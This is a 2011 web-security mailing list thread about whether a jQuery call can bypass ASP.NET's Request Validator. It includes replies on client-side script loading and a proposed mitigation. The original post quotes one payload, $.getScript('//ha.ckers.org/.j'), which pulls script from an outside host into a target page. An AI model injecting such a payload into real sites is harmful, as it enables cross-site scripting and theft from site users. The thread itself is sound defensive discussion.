Since they are dynamic you can just cripple them by overriding them I
suppose.
Someone should take all these methods from popular frameworks, override
them to simply "return false" and put them in a JS file.
Include the file last and job done...
If the frameworks internally rely on them override them to pass the
location of the JS file to a server-script that will filter cross-domain
inclusions and all is well.
(Which also adds the ability to log what sort of JS files are being
included.)
This is a spur of the moment kind of idea though, I may be missing some
important fact...
On 02/20/2011 12:37 AM, Arian J. Evans wrote:
On Sat, Feb 19, 2011 at 3:39 PM, Tasos Laskostasos.laskos@gmail.com wrote:
Gotta love this sort of thing though right?
As websites keep using and building upon these types of libs at some point
we'll start to figure out the equivalent of "return to libc"-ish attacks for
web apps.
Ha! I am seeing this type of challenge grow, rapidly. We have even
been the victim of this at WhiteHat Security.
Jeremiah Grossman has blogged about the challenges in measuring this
scenario, and I'm planning a longer blog post about managing it.
The thing about these dynamic getScript type functions is that you can
literally be secure one day, and exploitable the next.
Managing requires daily and constant ongoing measurement - given that
these functions are dynamic and have zero notion of change control.
e.g.-you cannot specify a version of a script or reference a binary
checksum, etc. etc. to ensure you are only including code you have
previously verified and approved.
Fun mess!
Arian Evans
Spectacular Script Sourcing Skills
On 02/19/2011 09:52 PM, Arian J. Evans wrote:
Exactly. ASP.NET requestValidators are a server-side control.
jquery getScript is designed to be used client-side and fetch a script
to build or interface with the DOM. Therefore the server side controls
would never see it.
Arian Evans
On Sat, Feb 19, 2011 at 10:04 AM, steve jensensjensen1207@hotmail.com
wrote:
If this jQuery .getScript request is only performed client-side, then it
wouldn't even be sent to the server-side ASP.NET XSS validation to be
bypassed.
Date: Sat, 19 Feb 2011 15:39:06 +0000
From: ryandewhurst@gmail.com
To: websecurity@webappsec.org
Subject: [WEB SECURITY] ASP.NET Request Validator Bypass?
Hi,
Recently on a client test I was able to bypass the ASP.NET Request
Validator
by leveraging the jQuery library which was included in the page. I am
mainly
a LAMP guy and my knowledge of ASP.NET and how to set it up is minimal.
I was wondering if any one could confirm whether my bypass affects all
ASP.NET installations or whether or not this particular client had it
configured incorrectly.
I used the following jQuery function to bypass the filter:
$.getScript('//ha.ckers.org/.j');
Thanks,
Ryan
Ryan Dewhurst
blog www.ethicalhack3r.co.uk
projects www.dvwa.co.uk | www.webwordcount.com
twitter www.twitter.com/ethicalhack3r
_______________________________________________ The Web Security Mailing
List WebSecurity RSS Feed http://www.webappsec.org/rss/websecurity.rss
Join
WASC on LinkedIn http://www.linkedin.com/e/gis/83336/4B20E4374DBA WASC on
Twitter http://twitter.com/wascupdates websecurity@lists.webappsec.org
http://lists.webappsec.org/mailman/listinfo/websecurity_lists.webappsec.org
The Web Security Mailing List
WebSecurity RSS Feed
http://www.webappsec.org/rss/websecurity.rss
Join WASC on LinkedIn http://www.linkedin.com/e/gis/83336/4B20E4374DBA
WASC on Twitter
http://twitter.com/wascupdates
websecurity@lists.webappsec.org
http://lists.webappsec.org/mailman/listinfo/websecurity_lists.webappsec.org
The Web Security Mailing List
WebSecurity RSS Feed
http://www.webappsec.org/rss/websecurity.rss
Join WASC on LinkedIn http://www.linkedin.com/e/gis/83336/4B20E4374DBA
WASC on Twitter
http://twitter.com/wascupdates
websecurity@lists.webappsec.org
http://lists.webappsec.org/mailman/listinfo/websecurity_lists.webappsec.org